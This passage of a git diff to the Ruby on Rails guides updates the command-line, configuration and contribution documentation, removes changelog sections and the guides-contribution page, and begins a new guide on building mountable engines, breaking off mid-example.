2008: Typo fixes -* November 23, 2008: Incremental updates with various suggested changes and formatting cleanup -* September 15, 2008: Initial version by Aditya Chadha - diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile index b34506d4d8..3f8643eca3 100644 --- a/railties/guides/source/command_line.textile +++ b/railties/guides/source/command_line.textile @@ -325,6 +325,8 @@ h4. +rails destroy+ Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. +You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>. + <shell> $ rails generate model Oops exists app/models/ @@ -379,21 +381,24 @@ $ rake about About your application's environment Ruby version 1.8.7 (x86_64-linux) RubyGems version 1.3.6 -Rack version 1.1 -Rails version 3.1.0 -Active Record version 3.1.0 -Action Pack version 3.1.0 -Active Resource version 3.1.0 -Action Mailer version 3.1.0 -Active Support version 3.1.0 -Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, Rack::Sendfile, ActionDispatch::Callbacks, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::MethodOverride, ActionDispatch::Head +Rack version 1.3 +Rails version 3.2.0.beta +JavaScript Runtime Node.js (V8) +Active Record version 3.2.0.beta +Action Pack version 3.2.0.beta +Active Resource version 3.2.0.beta +Action Mailer version 3.2.0.beta +Active Support version 3.2.0.beta +Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport Application root /home/foobar/commandsapp Environment development +Database adapter sqlite3 +Database schema version 20110805173523 </shell> h4. +assets+ -You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove compiled assets using <tt>rake assets:clean</tt>. +You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>. h4. +db+ @@ -458,13 +463,18 @@ h4. +test+ INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html -Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should. - -The +test:+ namespace helps in running the different tests you will (hopefully!) write. +Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write. h4. +tmp+ -The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of deletions gone awry. +The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. + +The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> directory: + +* +rake tmp:cache:clear+ clears <tt>tmp/cache</tt>. +* +rake tmp:sessions:clear+ clears <tt>tmp/sessions</tt>. +* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>. +* +rake tmp:clear+ clears all the three: cache, sessions and sockets. h4. Miscellaneous diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile index 2ff5de2334..cd6e7d116e 100644 --- a/railties/guides/source/configuring.textile +++ b/railties/guides/source/configuring.textile @@ -40,7 +40,9 @@ Rails will use that particular setting to configure Active Record. h4. Rails General Configuration -* +config.after_initialize+ takes a block which will be ran _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Useful for configuring values set up by other initializers: +These configuration methods are to be called on a +Rails::Railtie+ object, such as a subclass of +Rails::Engine+ or +Rails::Application+. + +* +config.after_initialize+ takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers: <ruby> config.after_initialize do @@ -64,7 +66,7 @@ NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is * +config.autoload_paths+ accepts an array of paths from which Rails will autoload constants. Default is all directories under +app+. -* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to true in development mode, and false in test and production modes. Can also be enabled with +threadsafe!+. +* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with +threadsafe!+. * +config.action_view.cache_template_loading+ controls whether or not templates should be reloaded on each request. Defaults to whatever is set for +config.cache_classes+. @@ -124,7 +126,7 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit * +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+. -* +config.assets.css_compressor+ defines the CSS compressor to use. Only supported value at the moment is +:yui+, which uses the +yui-compressor+ gem. +* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem. * +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. @@ -134,6 +136,18 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit * +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+. +* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+. + +* +config.assets.debug+ disables the concatenation and compression of assets. Set to +false+ by default in +development.rb+. + +* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+. + +* +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store. + +* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled. + +* +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production. + h4. Configuring Generators @@ -167,16 +181,16 @@ h4. Configuring Middleware Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: -* +Rack::SSL+ Will force every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. +* +Rack::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+. * +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+. -* +Rack::Lock+ Will wrap the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default. -* +ActiveSupport::Cache::Strategy::LocalCache+ Serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. -* +Rack::Runtime+ Sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. -* +Rails::Rack::Logger+ Notifies the logs that the request has began. After request is complete, flushes all the logs. -* +ActionDispatch::ShowExceptions+ Rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless. -* +ActionDispatch::RemoteIp+ Checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings. -* +Rack::Sendfile+ Intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+. -* +ActionDispatch::Callbacks+ Runs the prepare callbacks before serving the request. +* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default. +* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. +* +Rack::Runtime+ sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. +* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs. +* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless. +* +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings. +* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+. +* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request. * +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+. * +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned. * +ActionDispatch::Cookies+ sets cookies for the request. @@ -449,12 +463,31 @@ Rails has 5 initialization events which can be hooked into (listed in the order * +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process. -* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. +* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+. * +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the _production_ environment and not for the +development+ environment. * +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run. +To define an event for these hooks, use the block syntax within a +Rails::Aplication+, +Rails::Railtie+ or +Rails::Engine+ subclass: + +<ruby> +module YourApp + class Application < Rails::Application + config.before_initialize do + # initialization code goes here + end + end +end +</ruby> + +Alternatively, you can also do it through the +config+ method on the +Rails.application+ object: + +<ruby> +Rails.application.config.before_initialize do + # initialization code goes here +end +</ruby> WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called. @@ -557,7 +590,7 @@ The error occurred while evaluating nil.each *+set_load_path+* This initializer runs before +bootstrap_hook+. Adds the +vendor+, +lib+, all directories of +app+ and any paths specified by +config.load_paths+ to +$LOAD_PATH+. -*+set_autoload_path+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+. +*+set_autoload_paths+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+. *+add_routing_paths+* Loads (by default) all +config/routes.rb+ files (in the application and railties, including engines) and sets up the routes for the application. @@ -592,11 +625,3 @@ The error occurred while evaluating nil.each *+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+. *+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to true and +config.dependency_loading+ is set to false. - -h3. Changelog - -* December 3, 2010: Added initialization events for Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* November 26, 2010: Removed all config settings not available in Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* August 13, 2009: Updated with config syntax and added general configuration options by "John Pignata" -* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy -* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/contribute.textile b/railties/guides/source/contribute.textile deleted file mode 100644 index f9bb80861c..0000000000 --- a/railties/guides/source/contribute.textile +++ /dev/null @@ -1,70 +0,0 @@ -h2. Contribute to the Rails Guides - -Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the guides to come up to speed on Rails quickly. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute. - -endprologue. - -h3. How to Contribute? - -* We have an open commit policy: anyone is welcome to contribute and to review contributions. -* "docrails is hosted on GitHub":https://github.com/lifo/docrails and has public write access. -* Guides are written in Textile, and reside at +railties/guides/source+ in the docrails project. -* Follow the "Rails Guides Conventions":https://wiki.github.com/lifo/docrails/rails-guides-conventions. -* Assets are stored in the +railties/guides/assets+ directory. -* Sample format : "Active Record Associations":https://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile. -* Sample output : "Active Record Associations":association_basics.html. -* You can build the Guides during testing by running +bundle exec rake generate_guides+ in the +railties+ directory. -* You're encouraged to validate XHTML for the generated guides before committing your changes by running +bundle exec rake validate_guides+ in the +railties+ directory. -* Edge guides "can be consulted online":http://edgeguides.rubyonrails.org/. That website is generated periodically from docrails. - -h3. What to Contribute? - -* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started. -* The easiest way to start is by improving an existing guide: -** Improve the structure to make it more coherent. -** Add missing information. -** Correct any factual errors. -** Fix typos or improve style. -** Bring it up to date with the latest Edge Rails. -* We're also open to suggestions for entire new guides: -** Contact lifo or fxn to get your idea approved. See the Contact section below. -** If you're the main author on a significant guide, you're eligible for the prizes. - -h3. How is the process? - -* The preferred way to contribute is to commit to docrails directly. -* A new guide is only edited by its author until finished though. -* If you are writing a new guide freely commit to docrails partial work and ping lifo or fxn when done with a first draft. -* Guides reviewers will then provide feedback, some of it possibly in form of direct commits to agilize the process. -* Eventually the guide will be approved and added to the index. - -h3. Prizes - -For each completed guide, the lead contributor will receive all of the following prizes: - -* $200 from Caboose Rails Documentation Project. -* 1 year of GitHub Micro account worth $84. -* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x 10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product. - -h3. Rules - -* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License. -* If you're not sure whether a guide is actively being worked on, stop by IRC and ask. -* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes). -* Our review team will have the final say on whether the guide is complete and of good enough quality. - -All authors should read and follow the "Rails Guides Conventions":ruby_on_rails_guides_guidelines.html and the "Rails API Documentation Conventions":api_documentation_guidelines.html. - -h3. Translations - -The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides page. - -h3. Mailing List - -"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions. - -h3. Contact - -* IRC : #docrails channel in irc.freenode.net -* Twitter: "@docrails":http://twitter.com/docrails, "@lifo":http://twitter.com/lifo, "@fxn":http://twitter.com/fxn -* Email : pratiknaik aT gmail, fxn aT hashref dot com diff --git a/railties/guides/source/contributing_to_ruby_on_rails.textile b/railties/guides/source/contributing_to_ruby_on_rails.textile index e6ec061c9a..4d84c50e2a 100644 --- a/railties/guides/source/contributing_to_ruby_on_rails.textile +++ b/railties/guides/source/contributing_to_ruby_on_rails.textile @@ -87,24 +87,23 @@ $ bundle install --without db This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back at these soon. With dependencies installed, you can run the test suite with: <shell> -$ rake test +$ bundle exec rake test </shell> You can also run tests for a specific framework, like Action Pack, by going into its directory and executing the same command: <shell> $ cd actionpack -$ rake test +$ bundle exec rake test </shell> If you want to run tests from the specific directory use the +TEST_DIR+ environment variable. For example, this will run tests inside +railties/test/generators+ directory only: <shell> $ cd railties -$ TEST_DIR=generators rake test +$ TEST_DIR=generators bundle exec rake test </shell> - h4. Warnings The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no warning, but there may be a few, and also some from third-party libraries. Please ignore (or fix!) them if any, and submit patches that do not issue new warnings. @@ -112,7 +111,7 @@ The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no As of this writing they are specially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag: <shell> -$ RUBYOPT=-W0 rake test +$ RUBYOPT=-W0 bundle exec rake test </shell> h4. Testing Active Record @@ -121,13 +120,17 @@ The test suite of Active Record attempts to run four times, once for SQLite3, on WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. +h5. Set up Database Configuration + +The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment. + h5. SQLite3 The gem +sqlite3-ruby+ does not belong to the "db" group indeed, if you followed the instructions above you're ready. This is how you run the Active Record test suite only for SQLite3: <shell> $ cd activerecord -$ rake test_sqlite3 +$ bundle exec rake test_sqlite3 </shell> h5. MySQL and PostgreSQL @@ -192,7 +195,7 @@ test_postgresql respectively. As we mentioned before <shell> -$ rake test +$ bundle exec rake test </shell> will now run the four of them in turn. @@ -201,11 +204,11 @@ You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql h4. Older versions of Ruby on Rails -If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 2-3-stable branch: +If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch: <shell> -$ git branch --track 2-3-stable origin/2-3-stable -$ git checkout 2-3-stable +$ git branch --track 3-0-stable origin/3-0-stable +$ git checkout 3-0-stable </shell> TIP: You may want to "put your git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with. @@ -258,16 +261,18 @@ h3. Contributing to the Rails Documentation Ruby on Rails has two main sets of documentation: The guides help you to learn Ruby on Rails, and the API is a reference. -You can create an issue in GitHub issues to fix or expand documentation. However, if you're confident about your changes you can push them yourself directly via "docrails":https://github.com/lifo/docrails/tree/master. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. +You can help improve the Rails guides by making them more coherent, adding missing information, correcting factual errors, fixing typos, bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides. + +If you're confident about your changes, you can push them yourself directly via "docrails":https://github.com/lifo/docrails. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. + +If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub. When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html. -NOTE: As explained above, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. +NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. -If you have an idea for a new guide you can refer to the "contribution page":contribute.html for instructions on getting involved. - h3. Contributing to the Rails Code h4. Clone the Rails Repository @@ -285,7 +290,7 @@ $ cd rails $ git checkout -b my_new_branch </shell> -It doesn’t really matter what name you use, because this branch will only exist on your local computer. +It doesn’t really matter what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails git repository. h4. Write Your Code @@ -382,13 +387,3 @@ And then...think about your next contribution! h3. Rails Contributors All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org. - -h3. Changelog - -* May 12, 2011: Modified to prefer topic branches instead of master branch for users contributions by "Guillermo Iguaran":http://quillarb.org -* April 29, 2011: Reflect GitHub Issues and Pull Request workflow by "Dan Pickett":http://www.enlightsolutions.com -* April 14, 2011: Modified Contributing to the Rails Code section to add '[#ticket_number state:commited]' on patches commit messages by "Sebastian Martinez":http://wyeworks.com -* December 28, 2010: Complete revision by "Xavier Noria":credits.html#fxn -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* August 1, 2009: Updates/amplifications by "Mike Gunderloy":credits.html#mgunderloy -* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile index f5bee52b5a..3552c68418 100644 --- a/railties/guides/source/debugging_rails_applications.textile +++ b/railties/guides/source/debugging_rails_applications.textile @@ -712,10 +712,3 @@ h3. References * "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/ * "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging * "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops -* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy -* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops diff --git a/railties/guides/source/engines.textile b/railties/guides/source/engines.textile new file mode 100644 index 0000000000..694b36bea1 --- /dev/null +++ b/railties/guides/source/engines.textile @@ -0,0 +1,618 @@ +h2. Getting Started with Engines + +In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide: + +* What makes an engine +* How to generate an engine +* Building features for the engine +* Hooking the engine into an application +* Overriding engine functionality in the application + +endprologue. + +h3. What are engines? + +Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting from +Rails::Engine+. Therefore, engines and applications share common functionality but are at the same time two separate beasts. Engines and applications also share a common structure, as you'll see throughout this guide. + +Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator. + +The engine that will be generated for this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. For now, you will be working solely within the engine itself and in later sections you'll see how to hook it into an application. + +Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. + +To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality. + +Finally, engines would not have be possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks! + +h3. Generating an engine + +To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--mountable+ option. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal: + +<shell> +$ rails plugin new blorgh --mountable +</shell> + +The +--mountable+ option tells the plugin generator that you want to create an engine (which is a mountable plugin, hence the option name), creating the basic directory structure of an engine by providing things such as the foundations of an +app+ folder, as well a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to an application's +config/application.rb+ file. + +h4. Inside an engine + +h5. Critical files + +At the root of the engine's directory, lives a +blorgh.gemspec+ file. When you include the engine into the application later on, you will do so with this line in a Rails application's +Gemfile+: + +<ruby> + gem 'blorgh', :path => "vendor/engines/blorgh" +</ruby> + +By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+. + +<ruby> +require "blorgh/engine" + +module Blorgh +end +</ruby> + +Within +lib/blorgh/engine.rb+ is the base class for the engine: + +<ruby> +module Blorgh + class Engine < Rails::Engine + isolate_namespace Blorgh + end +end +</ruby> + +By inheriting from the +Rails::Engine+ class, this engine gains all the functionality it needs, such as being able to serve requests to its controllers. + +The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption. It is recommended that this line be left within this file. + +h5. +app+ directory + +Inside the +app+ directory there lives the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section. + +Within the +app/assets+ directory, there is the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarities of an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. + +Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. + +Lastly, the +app/views+ directory contains a +layouts+ folder which contains file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the applications +app/views/layouts/application.html.erb+ file. + +h5. +script+ directory + +This directory contains one file, +script/rails+, which allows you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine. + +h5. +test+ directory + +The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file: + +<ruby> +Rails.application.routes.draw do + + mount Blorgh::Engine => "/blorgh" +end +</ruby> + +This line mounts the engine at the path of +/blorgh+, which will make it accessible through the application only at that path. We will look more into mounting an engine after some features have been developed. + +Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed. + +h3. Providing engine functionality + +The engine that this guide covers will provide posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting-started.html, with some new twists. + +h4. Generating a post resource + +The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator. + +<shell> +$ rails generate scaffold post title:string text:text +</shell> + +This command will output this information: + +<shell> +invoke active_record +create db/migrate/[timestamp]_create_blorgh_posts.rb +create app/models/blorgh/post.rb +invoke test_unit +create test/unit/blorgh/post_test.rb +create test/fixtures/blorgh/posts.yml + route resources :posts +invoke scaffold_controller +create app/controllers/blorgh/posts_controller.rb +invoke erb +create app/views/blorgh/posts +create app/views/blorgh/posts/index.html.erb +create app/views/blorgh/posts/edit.html.erb +create app/views/blorgh/posts/show.html.erb +create app/views/blorgh/posts/new.html.erb +create app/views/blorgh/posts/_form.html.erb +invoke test_unit +create test/functional/blorgh/posts_controller_test.rb +invoke helper +create app/helpers/blorgh/posts_helper.rb +invoke test_unit +create test/unit/helpers/blorgh/posts_helper_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/posts.js +invoke css +create app/assets/stylesheets/blorgh/posts.css +invoke css +create app/assets/stylesheets/scaffold.css +</shell> + +The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+. + +Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+). + +After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file into this: + +<ruby> +Blorgh::Engine.routes.draw do + resources :posts + +end +</ruby> + +Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section. + +Next, the +scaffold_controller+ generator is invoked, generating a controlled called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+). + +Everything this generator has generated is neatly namespaced. The controller's class is defined within the +Blorgh+ module: + +<ruby> +module Blorgh + class PostsController < ApplicationController + ... + end +end +</ruby> + +NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+. + +The helper is also namespaced: + +<ruby> +module Blorgh + class PostsHelper + ... + end +end +</ruby> + +This helps prevent conflicts with any other engine or application that may have a post resource also. + +Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later. + +By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout: + +<erb> +<%= stylesheet_link_tag "scaffold" %> +</erb> + +You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated. + +!images/engines_scaffold.png(Blank engine scaffold)! + +Click around! You've just generated your first engine's first functions. + +If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+. + +<ruby> + 